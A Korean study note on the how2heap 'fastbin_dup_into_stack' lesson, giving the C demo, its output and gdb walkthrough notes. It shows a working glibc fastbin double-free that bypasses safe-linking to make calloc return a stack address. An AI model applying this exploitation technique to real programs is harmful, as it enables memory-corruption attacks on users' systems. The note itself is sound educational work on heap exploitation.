[how2heap] fastbin_dup_into_stack

날짜
Apr 18, 2025
속성
how2heap

링크

코드

#include <stdio.h> #include <stdlib.h> #include <assert.h> int main() { fprintf(stderr, "This file extends on fastbin_dup.c by tricking calloc into\n" "returning a pointer to a controlled location (in this case, the stack).\n"); fprintf(stderr,"Fill up tcache first.\n"); void *ptrs[7]; for (int i=0; i<7; i++) { ptrs[i] = malloc(8); } for (int i=0; i<7; i++) { free(ptrs[i]); } unsigned long stack_var[4] __attribute__ ((aligned (0x10))); fprintf(stderr, "The address we want calloc() to return is %p.\n", stack_var + 2); fprintf(stderr, "Allocating 3 buffers.\n"); int *a = calloc(1,8); int *b = calloc(1,8); int *c = calloc(1,8); fprintf(stderr, "1st calloc(1,8): %p\n", a); fprintf(stderr, "2nd calloc(1,8): %p\n", b); fprintf(stderr, "3rd calloc(1,8): %p\n", c); fprintf(stderr, "Freeing the first one...\n"); //First call to free will add a reference to the fastbin free(a); fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a); fprintf(stderr, "So, instead, we'll free %p.\n", b); free(b); //Calling free(a) twice renders the program vulnerable to Double Free fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a); free(a); fprintf(stderr, "Now the free list has [ %p, %p, %p ]. " "We'll now carry out our attack by modifying data at %p.\n", a, b, a, a); unsigned long *d = calloc(1,8); fprintf(stderr, "1st calloc(1,8): %p\n", d); fprintf(stderr, "2nd calloc(1,8): %p\n", calloc(1,8)); fprintf(stderr, "Now the free list has [ %p ].\n", a); fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n" "so now we are writing a fake free size (in this case, 0x20) to the stack,\n" "so that calloc will think there is a free chunk there and agree to\n" "return a pointer to it.\n", a); stack_var[1] = 0x20; fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a); fprintf(stderr, "Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism.\n"); fprintf(stderr, "^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/\n"); unsigned long ptr = (unsigned long)stack_var; unsigned long addr = (unsigned long) d; /*VULNERABILITY*/ *d = (addr >> 12) ^ ptr; /*VULNERABILITY*/ fprintf(stderr, "3rd calloc(1,8): %p, putting the stack address on the free list\n", calloc(1,8)); void *p = calloc(1,8); fprintf(stderr, "4th calloc(1,8): %p\n", p); assert((unsigned long)p == (unsigned long)stack_var + 0x10); }

코드 흐름

  • 코드는 아래와 같이 진행된다.
      1. tcache 채워서 fastbin 사용하도록 해놓기
      1. 3번 calloc한다.
      1. a, b, a를 차례로 free해서 DFB를 한다.
      1. d를 calloc한다.
      1. calloc한다.
      1. d의 주소에 stack의 주소를 암호화 해서 넣어준다.
      1. calloc한다. → stack의 주소에 할당된다.

실행 결과

This file extends on fastbin_dup.c by tricking calloc into returning a pointer to a controlled location (in this case, the stack). Fill up tcache first. The address we want calloc() to return is 0x7ffc9bcc6130. Allocating 3 buffers. 1st calloc(1,8): 0x3ea7f380 2nd calloc(1,8): 0x3ea7f3a0 3rd calloc(1,8): 0x3ea7f3c0 Freeing the first one... If we free 0x3ea7f380 again, things will crash because 0x3ea7f380 is at the top of the free list. So, instead, we'll free 0x3ea7f3a0. Now, we can free 0x3ea7f380 again, since it's not the head of the free list. Now the free list has [ 0x3ea7f380, 0x3ea7f3a0, 0x3ea7f380 ]. We'll now carry out our attack by modifying data at 0x3ea7f380. 1st calloc(1,8): 0x3ea7f380 2nd calloc(1,8): 0x3ea7f3a0 Now the free list has [ 0x3ea7f380 ]. Now, we have access to 0x3ea7f380 while it remains at the head of the free list. so now we are writing a fake free size (in this case, 0x20) to the stack, so that calloc will think there is a free chunk there and agree to return a pointer to it. Now, we overwrite the first 8 bytes of the data at 0x3ea7f380 to point right before the 0x20. Notice that the stored value is not a pointer but a poisoned value because of the safe linking mechanism. ^ Reference: https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/ 3rd calloc(1,8): 0x3ea7f380, putting the stack address on the free list 4th calloc(1,8): 0x7ffc9bcc6140

디버깅

  • gdb를 통해서 살펴보자

tcache 채우기

  • 7번 할당하고 7번 free해서 tcache를 꽉 채운다
notion image

calloc 3번 하고 더블 프리하기

  • fastbin에 loop가 있는 것을 확인할 수 있다.
notion image

calloc하기

  • 첫번째 calloc은 fastbin에서 첫번째에 있는 더블프리된 주소를 반환한다.
notion image
  • 두번째 calloc은 두번째로 있었던 fastbin의 주소를 반환한다.

stack에 fake chunk 만들기

  • stack_var[1] = 0x20; 을 통해서 힙의 size부분은 세팅한다.

DFB된 청크에 암호화된 스택 주소 적기

  • fastbin은 safelinking을 사용해서 *d = (addr >> 12) ^ ptr; 와 같이 xor로 암호화 해줘야한다.
notion image
  • 위 사진과 같이 스택의 주소를 암호화해서 넣어준다.

calloc 2번 하기

notion image
  • 첫번째 calloc은 더블 프리된 주소가 반환된다.
  • 두번째 calloc은 스택의 주소가 반환된다.

결론

  • DFB를 하고 나서 할당받은 청크의 fd를 원하는 값과 힙의 base addr랑 이랑 암호화해서 넣어주면 원하는 값에 힙을 할당할 수 있다.